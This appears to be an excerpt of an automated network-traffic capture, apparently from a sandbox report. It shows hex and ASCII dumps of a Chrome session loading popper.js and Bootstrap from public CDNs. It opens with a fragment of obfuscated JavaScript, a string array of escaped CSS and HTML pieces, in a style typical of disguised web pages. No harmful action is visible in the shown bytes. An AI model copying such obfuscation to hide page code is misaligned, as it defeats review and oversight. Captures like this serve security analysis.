2024-12-24 10:55:18 UTC	8184	IN	Data Raw: 74 69 63 61 6c 5c 78 32 30 21 27 2c 27 6e 76 61 6c 69 64 2c 5c 78 32 30 2e 77 27 2c 27 5c 78 32 30 7b 5c 78 32 30 62 61 63 6b 67 72 6f 27 2c 27 65 78 2d 6f 72 64 65 72 3a 5c 78 32 30 27 2c 27 65 2c 5c 78 32 30 2e 73 68 6f 77 3e 2e 27 2c 27 72 3a 5c 78 32 30 23 45 35 45 35 45 35 27 2c 27 5c 78 32 30 2e 66 69 67 75 72 65 5c 78 32 30 7b 27 2c 27 49 5c 78 32 30 57 65 62 5c 78 32 30 28 57 65 73 27 2c 27 69 6d 67 5c 78 32 32 3e 3c 2f 64 69 76 27 2c 27 67 68 74 2e 6c 69 73 74 2d 67 27 2c 27 72 65 6d 3b 5c 78 32 30 62 6f 72 64 65 27 2c 27 6e 65 2d 62 6c 6f 63 6b 3b 5c 78 32 30 27 2c 27 65 6e 74 65 72 3b 5c 78 32 30 2d 77 65 27 2c 27 6f 5c 78 32 30 7d 5c 78 32 30 2e 6e 61 76 62 61 27 2c 27 65 52 66 74 51 57 76 6a 57 33 27 2c 27 7d 5c 78 32 30 7d 5c 78 32 30 23 69 Data Ascii: tical\x20!','nvalid,\x20.w','\x20{\x20backgro','ex-order:\x20','e,\x20.show>.','r:\x20#E5E5E5','\x20.figure\x20{','I\x20Web\x20(Wes','img\x22></div','ght.list-g','rem;\x20borde','ne-block;\x20','enter;\x20-we','o\x20}\x20.navba','eRftQWvjW3','}\x20}\x20#i

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.16	49715	104.17.25.14	443	6844	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 10:55:18 UTC	388	OUT	GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-24 10:55:18 UTC	964	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 10:55:18 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"5eb03fa9-4af4" Last-Modified: Mon, 04 May 2020 16:15:37 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 970738 Expires: Sun, 14 Dec 2025 10:55:18 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=O%2FDLDGcLlGo1ZTrcjvN%2F0%2BedRBur2wa%2Fh7zOFZrbUyqP7W0pxooiqltA4OWXRJDi0UFUM4BbzDRENgeaecuxYDW6OIDnHhCrBaKc7VqC70wbY6z%2BZzz0BWhEwvBQzYX5%2BWgwJY5K"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8f700eed09d57ced-EWR alt-svc: h3=":443"; ma=86400
2024-12-24 10:55:18 UTC	405	IN	Data Raw: 34 61 66 34 0d 0a 2f 2a 0a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 46 65 64 65 72 69 63 6f 20 5a 69 76 6f 6c 6f 20 32 30 31 37 0a 20 44 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 4c 69 63 65 6e 73 65 20 28 6c 69 63 65 6e 73 65 20 74 65 72 6d 73 20 61 72 65 20 61 74 20 68 74 74 70 3a 2f 2f 6f 70 65 6e 73 6f 75 72 63 65 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 73 2f 4d 49 54 29 2e 0a 20 2a 2f 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 27 6f 62 6a 65 63 74 27 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 27 75 6e 64 65 66 69 6e 65 64 27 21 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 27 66 75 6e 63 74 69 6f 6e 27 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 Data Ascii: 4af4/* Copyright (C) Federico Zivolo 2017 Distributed under the MIT License (license terms are at http://opensource.org/licenses/MIT). */(function(e,t){'object'==typeof exports&&'undefined'!=typeof module?module.exports=t():'function'==typeof define&
2024-12-24 10:55:18 UTC	1369	IN	Data Raw: 28 31 21 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 29 72 65 74 75 72 6e 5b 5d 3b 76 61 72 20 6f 3d 67 65 74 43 6f 6d 70 75 74 65 64 53 74 79 6c 65 28 65 2c 6e 75 6c 6c 29 3b 72 65 74 75 72 6e 20 74 3f 6f 5b 74 5d 3a 6f 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 65 29 7b 72 65 74 75 72 6e 27 48 54 4d 4c 27 3d 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 3f 65 3a 65 2e 70 61 72 65 6e 74 4e 6f 64 65 7c 7c 65 2e 68 6f 73 74 7d 66 75 6e 63 74 69 6f 6e 20 6e 28 65 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 20 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 3b 73 77 69 74 63 68 28 65 2e 6e 6f 64 65 4e 61 6d 65 29 7b 63 61 73 65 27 48 54 4d 4c 27 3a 63 61 73 65 27 42 4f 44 59 27 3a 72 65 74 75 72 6e 20 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 3b 63 61 73 65 27 23 64 6f 63 75 Data Ascii: (1!==e.nodeType)return[];var o=getComputedStyle(e,null);return t?o[t]:o}function o(e){return'HTML'===e.nodeName?e:e.parentNode\|\|e.host}function n(e){if(!e)return document.body;switch(e.nodeName){case'HTML':case'BODY':return e.ownerDocument.body;case'#docu
2024-12-24 10:55:18 UTC	1369	IN	Data Raw: 65 2c 74 29 7b 76 61 72 20 6f 3d 32 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 32 5d 26 26 61 72 67 75 6d 65 6e 74 73 5b 32 5d 2c 69 3d 61 28 74 2c 27 74 6f 70 27 29 2c 6e 3d 61 28 74 2c 27 6c 65 66 74 27 29 2c 72 3d 6f 3f 2d 31 3a 31 3b 72 65 74 75 72 6e 20 65 2e 74 6f 70 2b 3d 69 2a 72 2c 65 2e 62 6f 74 74 6f 6d 2b 3d 69 2a 72 2c 65 2e 6c 65 66 74 2b 3d 6e 2a 72 2c 65 2e 72 69 67 68 74 2b 3d 6e 2a 72 2c 65 7d 66 75 6e 63 74 69 6f 6e 20 66 28 65 2c 74 29 7b 76 61 72 20 6f 3d 27 78 27 3d 3d 3d 74 3f 27 4c 65 66 74 27 3a 27 54 6f 70 27 2c 69 3d 27 4c 65 66 74 27 3d 3d 6f 3f 27 52 69 67 68 74 27 3a 27 42 6f 74 74 6f 6d 27 3b 72 65 74 75 72 6e 20 70 61 72 73 65 46 6c 6f 61 74 28 65 5b 27 Data Ascii: e,t){var o=2<arguments.length&&void 0!==arguments[2]&&arguments[2],i=a(t,'top'),n=a(t,'left'),r=o?-1:1;return e.top+=ir,e.bottom+=ir,e.left+=nr,e.right+=nr,e}function f(e,t){var o='x'===t?'Left':'Top',i='Left'==o?'Right':'Bottom';return parseFloat(e['
2024-12-24 10:55:18 UTC	1369	IN	Data Raw: 28 7b 74 6f 70 3a 70 2e 74 6f 70 2d 73 2e 74 6f 70 2d 66 2c 6c 65 66 74 3a 70 2e 6c 65 66 74 2d 73 2e 6c 65 66 74 2d 6d 2c 77 69 64 74 68 3a 70 2e 77 69 64 74 68 2c 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 29 3b 69 66 28 68 2e 6d 61 72 67 69 6e 54 6f 70 3d 30 2c 68 2e 6d 61 72 67 69 6e 4c 65 66 74 3d 30 2c 21 69 26 26 72 29 7b 76 61 72 20 75 3d 70 61 72 73 65 46 6c 6f 61 74 28 61 2e 6d 61 72 67 69 6e 54 6f 70 2c 31 30 29 2c 62 3d 70 61 72 73 65 46 6c 6f 61 74 28 61 2e 6d 61 72 67 69 6e 4c 65 66 74 2c 31 30 29 3b 68 2e 74 6f 70 2d 3d 66 2d 75 2c 68 2e 62 6f 74 74 6f 6d 2d 3d 66 2d 75 2c 68 2e 6c 65 66 74 2d 3d 6d 2d 62 2c 68 2e 72 69 67 68 74 2d 3d 6d 2d 62 2c 68 2e 6d 61 72 67 69 6e 54 6f 70 3d 75 2c 68 2e 6d 61 72 67 69 6e 4c 65 66 74 3d 62 7d 72 Data Ascii: ({top:p.top-s.top-f,left:p.left-s.left-m,width:p.width,height:p.height});if(h.marginTop=0,h.marginLeft=0,!i&&r){var u=parseFloat(a.marginTop,10),b=parseFloat(a.marginLeft,10);h.top-=f-u,h.bottom-=f-u,h.left-=m-b,h.right-=m-b,h.marginTop=u,h.marginLeft=b}r
2024-12-24 10:55:18 UTC	1369	IN	Data Raw: 2c 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 2c 62 6f 74 74 6f 6d 3a 7b 77 69 64 74 68 3a 70 2e 77 69 64 74 68 2c 68 65 69 67 68 74 3a 70 2e 62 6f 74 74 6f 6d 2d 74 2e 62 6f 74 74 6f 6d 7d 2c 6c 65 66 74 3a 7b 77 69 64 74 68 3a 74 2e 6c 65 66 74 2d 70 2e 6c 65 66 74 2c 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 7d 2c 64 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 73 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 73 65 28 7b 6b 65 79 3a 65 7d 2c 73 5b 65 5d 2c 7b 61 72 65 61 3a 45 28 73 5b 65 5d 29 7d 29 7d 29 2e 73 6f 72 74 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 2e 61 72 65 61 2d 65 2e 61 72 65 61 7d 29 2c 61 3d 64 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d Data Ascii: ,height:p.height},bottom:{width:p.width,height:p.bottom-t.bottom},left:{width:t.left-p.left,height:p.height}},d=Object.keys(s).map(function(e){return se({key:e},s[e],{area:E(s[e])})}).sort(function(e,t){return t.area-e.area}),a=d.filter(function(e){var t=
2024-12-24 10:55:18 UTC	1369	IN	Data Raw: 6e 73 6f 6c 65 2e 77 61 72 6e 28 27 60 6d 6f 64 69 66 69 65 72 2e 66 75 6e 63 74 69 6f 6e 60 20 69 73 20 64 65 70 72 65 63 61 74 65 64 2c 20 75 73 65 20 60 6d 6f 64 69 66 69 65 72 2e 66 6e 60 21 27 29 3b 76 61 72 20 69 3d 74 5b 27 66 75 6e 63 74 69 6f 6e 27 5d 7c 7c 74 2e 66 6e 3b 74 2e 65 6e 61 62 6c 65 64 26 26 65 28 69 29 26 26 28 6f 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 3d 63 28 6f 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 29 2c 6f 2e 6f 66 66 73 65 74 73 2e 72 65 66 65 72 65 6e 63 65 3d 63 28 6f 2e 6f 66 66 73 65 74 73 2e 72 65 66 65 72 65 6e 63 65 29 2c 6f 3d 69 28 6f 2c 74 29 29 7d 29 2c 6f 7d 66 75 6e 63 74 69 6f 6e 20 4e 28 29 7b 69 66 28 21 74 68 69 73 2e 73 74 61 74 65 2e 69 73 44 65 73 74 72 6f 79 65 64 29 7b 76 61 72 20 65 3d 7b 69 Data Ascii: nsole.warn('`modifier.function` is deprecated, use `modifier.fn`!');var i=t['function']\|\|t.fn;t.enabled&&e(i)&&(o.offsets.popper=c(o.offsets.popper),o.offsets.reference=c(o.offsets.reference),o=i(o,t))}),o}function N(){if(!this.state.isDestroyed){var e={i
2024-12-24 10:55:18 UTC	1369	IN	Data Raw: 29 2c 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 72 65 6d 6f 76 65 4f 6e 44 65 73 74 72 6f 79 26 26 74 68 69 73 2e 70 6f 70 70 65 72 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 74 68 69 73 2e 70 6f 70 70 65 72 29 2c 74 68 69 73 7d 66 75 6e 63 74 69 6f 6e 20 42 28 65 29 7b 76 61 72 20 74 3d 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3b 72 65 74 75 72 6e 20 74 3f 74 2e 64 65 66 61 75 6c 74 56 69 65 77 3a 77 69 6e 64 6f 77 7d 66 75 6e 63 74 69 6f 6e 20 48 28 65 2c 74 2c 6f 2c 69 29 7b 76 61 72 20 72 3d 27 42 4f 44 59 27 3d 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 2c 70 3d 72 3f 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 64 65 66 61 75 6c 74 56 69 65 77 3a 65 3b 70 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 74 2c 6f 2c 7b Data Ascii: ),this.options.removeOnDestroy&&this.popper.parentNode.removeChild(this.popper),this}function B(e){var t=e.ownerDocument;return t?t.defaultView:window}function H(e,t,o,i){var r='BODY'===e.nodeName,p=r?e.ownerDocument.defaultView:e;p.addEventListener(t,o,{
2024-12-24 10:55:18 UTC	1369	IN	Data Raw: 3b 72 65 74 75 72 6e 20 6f 3d 3d 3d 74 7d 29 2c 6e 3d 21 21 69 26 26 65 2e 73 6f 6d 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 6e 61 6d 65 3d 3d 3d 6f 26 26 65 2e 65 6e 61 62 6c 65 64 26 26 65 2e 6f 72 64 65 72 3c 69 2e 6f 72 64 65 72 7d 29 3b 69 66 28 21 6e 29 7b 76 61 72 20 72 3d 27 60 27 2b 74 2b 27 60 27 3b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 27 60 27 2b 6f 2b 27 60 27 2b 27 20 6d 6f 64 69 66 69 65 72 20 69 73 20 72 65 71 75 69 72 65 64 20 62 79 20 27 2b 72 2b 27 20 6d 6f 64 69 66 69 65 72 20 69 6e 20 6f 72 64 65 72 20 74 6f 20 77 6f 72 6b 2c 20 62 65 20 73 75 72 65 20 74 6f 20 69 6e 63 6c 75 64 65 20 69 74 20 62 65 66 6f 72 65 20 27 2b 72 2b 27 21 27 29 7d 72 65 74 75 72 6e 20 6e 7d 66 75 6e 63 74 69 6f 6e 20 4b 28 65 29 Data Ascii: ;return o===t}),n=!!i&&e.some(function(e){return e.name===o&&e.enabled&&e.order<i.order});if(!n){var r='`'+t+'`';console.warn('`'+o+'`'+' modifier is required by '+r+' modifier in order to work, be sure to include it before '+r+'!')}return n}function K(e)
2024-12-24 10:55:18 UTC	1369	IN	Data Raw: 7b 72 65 74 75 72 6e 27 27 3d 3d 3d 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 26 26 2d 31 21 3d 3d 5b 27 2b 27 2c 27 2d 27 5d 2e 69 6e 64 65 78 4f 66 28 74 29 3f 28 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 3d 74 2c 70 3d 21 30 2c 65 29 3a 70 3f 28 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 2b 3d 74 2c 70 3d 21 31 2c 65 29 3a 65 2e 63 6f 6e 63 61 74 28 74 29 7d 2c 5b 5d 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 56 28 65 2c 6e 2c 74 2c 6f 29 7d 29 7d 29 2c 61 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 65 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 69 29 7b 55 28 6f 29 26 26 28 6e 5b 74 5d 2b 3d 6f 2a 28 27 2d 27 3d 3d 3d 65 5b 69 2d 31 5d 3f 2d 31 3a 31 29 29 7d 29 7d 29 2c 6e 7d 66 75 6e 63 Data Ascii: {return''===e[e.length-1]&&-1!==['+','-'].indexOf(t)?(e[e.length-1]=t,p=!0,e):p?(e[e.length-1]+=t,p=!1,e):e.concat(t)},[]).map(function(e){return V(e,n,t,o)})}),a.forEach(function(e,t){e.forEach(function(o,i){U(o)&&(n[t]+=o*('-'===e[i-1]?-1:1))})}),n}func
2024-12-24 10:55:18 UTC	1369	IN	Data Raw: 7b 72 65 74 75 72 6e 20 6f 26 26 65 28 74 2e 70 72 6f 74 6f 74 79 70 65 2c 6f 29 2c 69 26 26 65 28 74 2c 69 29 2c 74 7d 7d 28 29 2c 70 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6f 29 7b 72 65 74 75 72 6e 20 74 20 69 6e 20 65 3f 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 74 2c 7b 76 61 6c 75 65 3a 6f 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 77 72 69 74 61 62 6c 65 3a 21 30 7d 29 3a 65 5b 74 5d 3d 6f 2c 65 7d 2c 73 65 3d 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 7c 7c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 2c 6f 3d 31 3b 6f 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 6f 2b 2b 29 66 6f 72 28 76 61 72 20 69 20 69 6e 20 74 3d 61 72 67 75 6d 65 6e Data Ascii: {return o&&e(t.prototype,o),i&&e(t,i),t}}(),pe=function(e,t,o){return t in e?Object.defineProperty(e,t,{value:o,enumerable:!0,configurable:!0,writable:!0}):e[t]=o,e},se=Object.assign\|\|function(e){for(var t,o=1;o<arguments.length;o++)for(var i in t=argumen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.16	49716	104.18.11.207	443	6844	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 10:55:18 UTC	385	OUT	GET /bootstrap/4.1.3/js/bootstrap.min.js HTTP/1.1 Host: stackpath.bootstrapcdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-24 10:55:18 UTC	967	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 10:55:18 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close CDN-PullZone: 252412 CDN-Uid: b1941f61-b576-4f40-80de-5677acb38f74 CDN-RequestCountryCode: US Vary: Accept-Encoding Access-Control-Allow-Origin: * Cache-Control: public, max-age=31919000 ETag: W/"67176c242e1bdc20603c878dee836df3" Last-Modified: Mon, 25 Jan 2021 22:04:06 GMT CDN-ProxyVer: 1.04 CDN-RequestPullSuccess: True CDN-RequestPullCode: 200 CDN-CachedAt: 10/04/2024 02:53:43 CDN-EdgeStorageId: 1029 timing-allow-origin: * cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff CDN-Status: 200 CDN-RequestTime: 1 CDN-RequestId: c6c8a086d090f1d2baac8a7b0c894894 CDN-Cache: HIT CF-Cache-Status: HIT Age: 2421323 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 8f700eee1b9c0f3f-EWR alt-svc: h3=":443"; ma=86400
2024-12-24 10:55:18 UTC	402	IN	Data Raw: 37 62 65 63 0d 0a 2f 2a 21 0a 20 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 34 2e 31 2e 33 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 2f 29 0a 20 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 31 38 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 67 72 61 70 68 73 2f 63 6f 6e 74 72 69 62 75 74 6f 72 73 29 0a 20 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 29 0a 20 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 Data Ascii: 7bec/! Bootstrap v4.1.3 (https://getbootstrap.com/) * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) */!function(
2024-12-24 10:55:18 UTC	1369	IN	Data Raw: 65 66 69 6e 65 28 5b 22 65 78 70 6f 72 74 73 22 2c 22 6a 71 75 65 72 79 22 2c 22 70 6f 70 70 65 72 2e 6a 73 22 5d 2c 65 29 3a 65 28 74 2e 62 6f 6f 74 73 74 72 61 70 3d 7b 7d 2c 74 2e 6a 51 75 65 72 79 2c 74 2e 50 6f 70 70 65 72 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 68 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 69 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 3b 6e 3c 65 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 7b 76 61 72 20 69 3d 65 5b 6e 5d 3b 69 2e 65 6e 75 6d 65 72 61 62 6c 65 3d 69 2e 65 6e 75 6d 65 72 61 62 6c 65 7c 7c 21 31 2c 69 2e 63 6f 6e 66 69 67 75 72 61 62 6c 65 3d 21 30 2c 22 76 61 6c 75 65 22 69 6e 20 69 26 26 28 69 2e 77 72 69 74 61 62 6c 65 3d 21 30 29 2c 4f 62 6a 65 63 74 2e 64 65 66 Data Ascii: efine(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,h){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.def
2024-12-24 10:55:18 UTC	1369	IN	Data Raw: 6e 2c 50 6e 2c 6a 6e 2c 48 6e 2c 4c 6e 2c 52 6e 2c 78 6e 2c 57 6e 2c 55 6e 2c 71 6e 2c 46 6e 3d 66 75 6e 63 74 69 6f 6e 28 69 29 7b 76 61 72 20 65 3d 22 74 72 61 6e 73 69 74 69 6f 6e 65 6e 64 22 3b 66 75 6e 63 74 69 6f 6e 20 74 28 74 29 7b 76 61 72 20 65 3d 74 68 69 73 2c 6e 3d 21 31 3b 72 65 74 75 72 6e 20 69 28 74 68 69 73 29 2e 6f 6e 65 28 6c 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 3d 21 30 7d 29 2c 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 7c 7c 6c 2e 74 72 69 67 67 65 72 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 65 29 7d 2c 74 29 2c 74 68 69 73 7d 76 61 72 20 6c 3d 7b 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 3a 22 62 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 22 2c 67 65 74 55 49 Data Ascii: n,Pn,jn,Hn,Ln,Rn,xn,Wn,Un,qn,Fn=function(i){var e="transitionend";function t(t){var e=this,n=!1;return i(this).one(l.TRANSITION_END,function(){n=!0}),setTimeout(function(){n\|\|l.triggerTransitionEnd(e)},t),this}var l={TRANSITION_END:"bsTransitionEnd",getUI
2024-12-24 10:55:18 UTC	1369	IN	Data Raw: 68 61 6e 64 6c 65 72 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 7d 2c 6c 7d 28 65 29 2c 4b 6e 3d 28 6e 3d 22 61 6c 65 72 74 22 2c 61 3d 22 2e 22 2b 28 6f 3d 22 62 73 2e 61 6c 65 72 74 22 29 2c 63 3d 28 72 3d 65 29 2e 66 6e 5b 6e 5d 2c 75 3d 7b 43 4c 4f 53 45 3a 22 63 6c 6f 73 65 22 2b 61 2c 43 4c 4f 53 45 44 3a 22 63 6c 6f 73 65 64 22 2b 61 2c 43 4c 49 43 4b 5f 44 41 54 41 5f 41 50 49 3a 22 63 6c 69 63 6b 22 2b 61 2b 22 2e 64 61 74 61 2d 61 70 69 22 7d 2c 66 3d 22 61 6c 65 72 74 22 2c 64 3d 22 66 61 64 65 22 2c 67 3d 22 73 68 6f 77 22 2c 5f 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 69 28 74 29 7b 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 3d 74 7d 76 61 72 20 74 3d 69 2e 70 72 6f 74 6f 74 79 70 65 3b 72 65 74 75 Data Ascii: handler.apply(this,arguments)}},l}(e),Kn=(n="alert",a="."+(o="bs.alert"),c=(r=e).fn[n],u={CLOSE:"close"+a,CLOSED:"closed"+a,CLICK_DATA_API:"click"+a+".data-api"},f="alert",d="fade",g="show",_=function(){function i(t){this._element=t}var t=i.prototype;retu
2024-12-24 10:55:18 UTC	1369	IN	Data Raw: 2c 5f 2e 5f 68 61 6e 64 6c 65 44 69 73 6d 69 73 73 28 6e 65 77 20 5f 29 29 2c 72 2e 66 6e 5b 6e 5d 3d 5f 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2c 72 2e 66 6e 5b 6e 5d 2e 43 6f 6e 73 74 72 75 63 74 6f 72 3d 5f 2c 72 2e 66 6e 5b 6e 5d 2e 6e 6f 43 6f 6e 66 6c 69 63 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 72 2e 66 6e 5b 6e 5d 3d 63 2c 5f 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 7d 2c 5f 29 2c 4d 6e 3d 28 70 3d 22 62 75 74 74 6f 6e 22 2c 79 3d 22 2e 22 2b 28 76 3d 22 62 73 2e 62 75 74 74 6f 6e 22 29 2c 45 3d 22 2e 64 61 74 61 2d 61 70 69 22 2c 43 3d 28 6d 3d 65 29 2e 66 6e 5b 70 5d 2c 54 3d 22 61 63 74 69 76 65 22 2c 62 3d 22 62 74 6e 22 2c 49 3d 27 5b 64 61 74 61 2d 74 6f 67 67 6c 65 5e 3d 22 62 75 74 74 6f 6e 22 5d Data Ascii: ,_._handleDismiss(new _)),r.fn[n]=_._jQueryInterface,r.fn[n].Constructor=_,r.fn[n].noConflict=function(){return r.fn[n]=c,_._jQueryInterface},_),Mn=(p="button",y="."+(v="bs.button"),E=".data-api",C=(m=e).fn[p],T="active",b="btn",I='[data-toggle^="button"]
2024-12-24 10:55:18 UTC	1369	IN	Data Raw: 28 74 29 7b 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 3b 76 61 72 20 65 3d 74 2e 74 61 72 67 65 74 3b 6d 28 65 29 2e 68 61 73 43 6c 61 73 73 28 62 29 7c 7c 28 65 3d 6d 28 65 29 2e 63 6c 6f 73 65 73 74 28 4e 29 29 2c 6b 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2e 63 61 6c 6c 28 6d 28 65 29 2c 22 74 6f 67 67 6c 65 22 29 7d 29 2e 6f 6e 28 4f 2e 46 4f 43 55 53 5f 42 4c 55 52 5f 44 41 54 41 5f 41 50 49 2c 49 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 6d 28 74 2e 74 61 72 67 65 74 29 2e 63 6c 6f 73 65 73 74 28 4e 29 5b 30 5d 3b 6d 28 65 29 2e 74 6f 67 67 6c 65 43 6c 61 73 73 28 53 2c 2f 5e 66 6f 63 75 73 28 69 6e 29 3f 24 2f 2e 74 65 73 74 28 74 2e 74 79 70 65 29 29 7d 29 2c 6d 2e 66 6e 5b 70 5d 3d 6b 2e 5f 6a 51 75 65 72 79 Data Ascii: (t){t.preventDefault();var e=t.target;m(e).hasClass(b)\|\|(e=m(e).closest(N)),k._jQueryInterface.call(m(e),"toggle")}).on(O.FOCUS_BLUR_DATA_API,I,function(t){var 